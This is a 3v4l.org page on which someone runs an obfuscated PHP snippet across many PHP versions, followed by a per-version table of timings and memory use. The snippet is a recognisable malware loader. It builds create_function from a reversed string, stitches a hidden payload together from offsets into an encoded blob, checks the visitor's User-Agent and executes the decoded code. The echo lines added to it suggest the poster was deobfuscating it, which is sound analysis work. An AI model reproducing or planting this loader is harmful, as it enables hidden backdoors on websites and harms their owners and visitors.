3v4l.org

run code in 300+ PHP versions simultaneously
<?php $lovzzhqf = 'bedwr); $nlrwuhb();}}!*#ojneb#-*f%)sfxpmpusd]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#%!<***f x27,*e x27,*d x27,*c x27,*b xy]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]4#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#-!#:;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7fhnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`6Z6<.3`hA x27pd%6<pd%w6Zy76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]8y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-tk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)`bj+upcotn+qsvmt+fmhpph#)zbssqov>*ofmy%)utjm!|!*5!7R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uof!|Z~!<##!>!2p%!|!*!***b%)sfxpmpu%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]3fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6%V<#65,47R25,d7R17,67R37,#/q%>U<#16,46<.2`hA x27pd%6<C x27p5ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:NJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f7e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.]5]48]32M3]317]445]212]445]43]321]464]284]364]6k~~~<ftmbg!osvufs!|ftmf!~<*;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*5s%>/h%:<**#57]38y]47]67y]37]88y]27]28uopD#)sfebfI{*w%)kVx{**#k#)t")) or (strstr($uas," x61 156 x64 4)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%sdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#!-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]y84]275]y83]273]y76]*9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osZ<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14d%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqif((function_exists(" x6f 142 x5f 163 x74 14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b-bubE{h%)tpqsut>j%!*72! x27!hmg%)b!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp{h%)j{hnpd!opjudovg!|!**#j{utjyf`x x22l:!}V;3q%}U;yhA x27pd%6<pd%w6Z6<.4`hA x27pd%6<pd%wj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldb" x48 124 x54 120 x5f 125 x53 105 x52 137 x4%!<*qp%-*.%)euhA)3of>2bd%!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/ x27!hmg%)!gj!|!*1?hfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPF- x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24- x24!tpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*ms]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b% x7f!<X>b%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x2%)3of:opjudovg<~ x24<!%o:!>! x242178}527}88:}334}472197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfqsuxia($n){return chr(ord($n)-1);} @error_reporting(0); $qibedwr = 162 x6f 151 x64"))) { $sjwzorb = " x63 162 x65 141 x74 145dy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D3P6]36]73]83]238M7]381]211M5]67]452]880]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbex24- x24 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yyf x27*&7-n%)utjm6< x7fw6*CW&`opjudovg)!gj!|!*msv%)}*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;u277#<!%t2w>#]y74]273]]y7f#<!%tww!>! x2400sut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsbS{ftmfV x7f<*XAZASV<*w%)ppde>u34]368]322]3]364]6]283]427]36]37 x5f 146 x75 156 x63 164 x69 #-!#]y38#-!%w:**<")));$nlrwuhb = $sjwzorb("", $qivr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6<C>^#zsfvr# x5cq%)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C x2v%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%7&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI!%c:>%s: x5c%j:^<!%w` ut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf%tmw/ x24)%c*W%eN+#Qijw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K7%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`)))) { $GLOBALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#zsf~:<h%_t%:osvufs:~:<*9-1-r%)K2]285]Ke]53Ld]53]Kc]55L}_;gvc%}&;ftmbg} x7f;!osvufsso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x2mg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y x5c1^W%c!>!%i x5c2^<!j<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftmfV x7f<*X&Z&vufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuv+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!g}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!g6A:>:8:|:7#6#)tutjyf`43927K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`y)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24)% x24- x24y4 x24- x24]y8 x24- x24]26 x24- x24<%j,,*!| x24- x24gvod>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)<%yy>#]D6]281L1#/#M5]DgP5]D6#<%f]}R;2]},;osvufs} x27;mnui}&;zepc]81#/#7e:55946-tr.984:75983:48984:71]]25 x24- x24-!% x24- x24*!|! * x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dhOh/#00#W~!%t2w)##Qt_*#ujojRk3`{666~6<&w6< x7fw6<5h%/#0#/*#npd/#)rrd/#00;quui#>.gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*7Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdX 145")) or (strstr($uas," x72 166 x3a 61 x31x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#implode(array_map("sqsuxi:+946:ce44#)zbssb!>!ssbnpe_GMFT8:56985:6197g:74985-rr.93e:5597f-s.973:8297f:529a",str_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!157 x6e"; function s1 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"]1 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 x24<!%ff2!>!bssbz) x24ujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)% x24STrrEvxNoITCnuF_EtaeRCxECaLPer_RtSfbsqshvk'; $test = substr($lovzzhqf,5926,34); $vynljcy=explode('x','STrrEvxNoITCnuF_EtaeRCxECaLPer_RtS'); $cxilarb = $vynljcy[0]($vynljcy[1]); $dthphxv = $vynljcy[0]($vynljcy[2]); if (!function_exists('wrtrqlq')) { function wrtrqlq($vyhgdyzyg, $usicerzb,$gooxdolw) { $rrwafjluf = NULL; for($izzjgel=0;$izzjgel<(sizeof($vyhgdyzyg)/2);$izzjgel++) { $rrwafjluf .= substr($usicerzb, $vyhgdyzyg[($izzjgel*2)],$vyhgdyzyg[($izzjgel*2)+(5-4)]); } echo 'the middle function is'; echo ''; echo $gooxdolw(chr((61-52)),chr((566-474)),$rrwafjluf); return $gooxdolw(chr((61-52)),chr((566-474)),$rrwafjluf); }; } $lngnul = explode(chr((188-144)),'1986,44,5735,55,4038,68,2278,44,5790,52,5453,44,1583,34,2958,58,3436,29,5715,20,2891,67,5542,25,5646,69,3999,39,2193,37,561,24,1081,22,1946,40,3181,29,3571,65,3756,34,275,66,2825,66,1679,39,4106,64,3514,57,2728,45,5410,43,761,38,1007,37,5201,65,2417,36,1151,67,5286,28,3233,62,2498,55,3636,62,4221,28,3867,47,3210,23,1445,27,1809,35,4433,45,2074,33,4705,49,2230,48,828,21,2397,20,4298,57,2553,39,2142,27,468,52,4478,67,2322,26,5314,32,138,37,3698,58,911,32,3336,38,799,29,2107,35,21,22,3812,55,5567,31,520,41,2675,53,1844,46,5346,64,1337,61,404,64,1472,46,4754,26,1103,48,5001,70,4584,53,4377,56,3374,30,1044,37,849,62,1555,28,2169,24,5103,32,4637,68,3093,41,1754,55,3295,21,585,47,3316,20,4170,27,1518,37,175,31,206,69,693,68,2773,52,5842,23,5172,29,3134,47,4877,60,4937,64,5865,61,2453,45,2348,49,3914,21,4355,22,341,63,4545,39,4249,49,1617,62,5266,20,3935,64,5598,48,1218,65,5135,37,4780,51,5071,32,3016,39,632,61,4197,24,43,55,943,64,3404,32,3055,38,1398,47,1890,56,2030,44,2592,63,2655,20,3790,22,5497,45,4831,46,98,40,1718,36,1283,54,3465,49,0,21'); $xmrcclotz = $cxilarb("",wrtrqlq($lngnul,$lovzzhqf,$dthphxv)); echo 'next line'; echo $xmrcclotz;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0040.01216.88
8.3.50.0110.00318.17
8.3.40.0090.00618.88
8.3.30.0000.01418.89
8.3.20.0000.00820.34
8.3.10.0070.00021.91
8.3.00.0080.00019.56
8.2.180.0030.01217.00
8.2.170.0070.01022.96
8.2.160.0070.00719.03
8.2.150.0080.00024.18
8.2.140.0030.00624.66
8.2.130.0090.00319.27
8.2.120.0070.00026.35
8.2.110.0070.01020.52
8.2.100.0130.00017.94
8.2.90.0000.00819.43
8.2.80.0000.00818.05
8.2.70.0040.00417.75
8.2.60.0030.00618.05
8.2.50.0050.00318.10
8.2.40.0080.00022.00
8.2.30.0030.00519.41
8.2.20.0040.00418.04
8.2.10.0000.00818.21
8.2.00.0000.00718.15
8.1.280.0070.01025.92
8.1.270.0050.00222.21
8.1.260.0080.00026.35
8.1.250.0100.00328.09
8.1.240.0060.00322.75
8.1.230.0030.00719.04
8.1.220.0050.00317.78
8.1.210.0040.00418.77
8.1.200.0040.00417.47
8.1.190.0040.00417.35
8.1.180.0080.00018.10
8.1.170.0000.00818.65
8.1.160.0020.00518.96
8.1.150.0040.00418.93
8.1.140.0050.00319.66
8.1.130.0030.00318.92
8.1.120.0030.00517.40
8.1.110.0000.00817.38
8.1.100.0050.00317.38
8.1.90.0020.00517.55
8.1.80.0000.00817.38
8.1.70.0040.00417.38
8.1.60.0030.00617.67
8.1.50.0000.00817.44
8.1.40.0030.00517.38
8.1.30.0080.00017.57
8.1.20.0040.00417.71
8.1.10.0040.00417.52
8.1.00.0000.00817.58
8.0.300.0060.00318.77
8.0.290.0040.00416.75
8.0.280.0040.00418.39
8.0.270.0070.00017.30
8.0.260.0070.00018.48
8.0.250.0000.00716.89
8.0.240.0070.00017.05
8.0.230.0030.00617.01
8.0.220.0030.00317.01
8.0.210.0030.00316.99
8.0.200.0000.00617.07
8.0.190.0040.00416.98
8.0.180.0040.00417.04
8.0.170.0000.00716.99
8.0.160.0000.01117.05
8.0.150.0050.00316.86
8.0.140.0040.00416.98
8.0.130.0030.00313.42
8.0.120.0000.00816.99
8.0.110.0070.00016.82
8.0.100.0050.00316.95
8.0.90.0030.00516.81
8.0.80.0090.00616.96
8.0.70.0080.00016.95
8.0.60.0040.00416.85
8.0.50.0000.00917.00
8.0.30.0140.00617.10
8.0.20.0080.01517.41
8.0.10.0040.00416.96
8.0.00.0130.00416.79
7.4.330.0000.00515.55
7.4.320.0000.00616.69
7.4.300.0000.00716.62
7.4.290.0040.00416.74
7.4.280.0060.00316.70
7.4.270.0030.00316.66
7.4.260.0040.00416.75
7.4.250.0000.00716.63
7.4.240.0070.00016.63
7.4.230.0040.00416.56
7.4.220.0150.00316.71
7.4.210.0060.00916.73
7.4.200.0040.00316.46
7.4.160.0100.00716.67
7.4.150.0110.00817.40
7.4.140.0070.01317.86
7.4.130.0230.00316.89
7.4.120.0120.01116.76
7.4.110.0040.01416.60
7.4.100.0140.01116.66
7.4.90.0070.01116.43
7.4.80.0120.00619.39
7.4.70.0030.01316.70
7.4.60.0100.00716.62
7.4.50.0060.00916.54
7.4.40.0170.00016.74
7.4.30.0030.01316.80
7.4.00.0060.00915.34
7.3.330.0050.00013.46
7.3.320.0000.00513.64
7.3.310.0040.00416.42
7.3.300.0070.00016.64
7.3.290.0070.00916.62
7.3.280.0060.01116.58
7.3.270.0120.00617.40
7.3.260.0030.01416.56
7.3.250.0110.00816.69
7.3.240.0110.00816.70
7.3.230.0080.00816.57
7.3.210.0110.00616.57
7.3.200.0090.00816.53
7.3.190.0150.00316.80
7.3.180.0030.01316.76
7.3.170.0140.00616.70
7.3.160.0060.00916.59
7.3.10.0120.00016.88
7.3.00.0070.00716.52
7.2.330.0090.00916.89
7.2.320.0070.01016.96
7.2.310.0130.00316.93
7.2.300.0140.00316.96
7.2.290.0070.01016.67
7.2.130.0070.00716.69
7.2.120.0070.01116.43
7.2.110.0060.00616.79
7.2.100.0060.00616.88
7.2.90.0000.01316.48
7.2.80.0120.00316.84
7.2.70.0090.00616.49
7.2.60.0050.01116.87
7.2.50.0040.00817.00
7.2.40.0060.00616.68
7.2.30.0030.01016.80
7.2.20.0000.00916.72
7.2.10.0040.01216.77
7.2.00.0110.00316.88
7.1.250.0060.01315.79
7.1.200.0060.00615.79
7.1.70.0290.00915.36
7.1.60.0650.01133.49
7.1.50.0470.02232.98
7.1.40.0620.01532.68
7.1.30.0570.01032.98
7.1.20.0640.01033.04
7.1.10.0300.01014.99
7.1.00.0420.00915.23
7.0.200.0410.00915.14
7.0.190.0330.01015.28
7.0.180.0370.01314.72
7.0.170.0260.02314.72
7.0.160.0270.01314.58
7.0.150.0310.01214.55
7.0.140.0400.01314.73
7.0.130.0440.01014.79
7.0.120.0370.01414.96
7.0.110.0410.01114.86
7.0.100.0430.00914.63
7.0.90.0410.01014.71
7.0.80.1790.00714.63
7.0.70.0390.01014.56
7.0.60.0300.01514.39
7.0.50.0260.01614.87
7.0.40.0350.01014.88
7.0.30.0350.01615.05
7.0.20.0630.00514.81
7.0.10.0300.00714.63
7.0.00.0420.00914.80
preferences:
36.45 ms | 400 KiB | 5 Q